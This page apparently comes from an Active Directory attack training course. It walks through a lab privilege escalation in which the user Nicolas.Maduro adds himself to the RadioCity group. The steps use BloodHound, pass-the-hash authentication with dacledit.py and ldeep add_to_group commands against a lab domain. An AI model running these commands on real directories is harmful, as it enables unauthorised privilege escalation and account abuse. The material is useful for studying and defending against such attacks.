> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/user-acl-exploits/add-self-on-group-nicolas-greater-than-radiocity.md).

# Add self on Group (Nicolas-> RadioCity)

### Let's Check in Bloodhound

```
sudo /usr/bin/./neo4j console
sudo /opt/tools/BloodHound4.2-ly4k/BloodHound-linux-x64/BloodHound  --no-sandbox --disable-dev-shm-usag
```

<figure><img src="/files/HllogUSIY4z1u1yiWVdG" alt=""><figcaption></figcaption></figure>

### Let's check with dacledit

add 32 0'x infront of the hash to authenticate

```
dacledit.py -action 'read' -principal nicolas.maduro -target 'radiocity' 'NewYork.local'/'nicolas.maduro' -hashes 00000000000000000000000000000000:b3b3717f7d51b37fb325f7e7d048e998
```

<figure><img src="/files/PEoG1GrrVaMwMTwmKSCw" alt=""><figcaption></figcaption></figure>

* We now got Nicolas so we can add us into the Radio City group
* First find the distinguished name

```
ldeep ldap -u nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d newyork.local -s ldap://192.168.56.10 search '(sAMAccountName=Nicolas.Maduro)' distinguishedName
ldeep ldap -u nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d newyork.local -s ldap://192.168.56.10 search '(sAMAccountName=RadioCity)' distinguishedName

```

* Add Nicolas.Maduro to RadioCity

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 add_to_group "CN=Nicolas.Maduro,OU=SugarHill,DC=NewYork,DC=local" "CN=RadioCity,OU=WestSide,DC=NewYork,DC=local"

```

<figure><img src="/files/sEbuwVxSVNQVDnR7tZTs" alt=""><figcaption></figcaption></figure>

* See the result

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 membersof 'RadioCity'
```

<figure><img src="/files/IG95f1xY788BWSm5O7C7" alt=""><figcaption></figcaption></figure>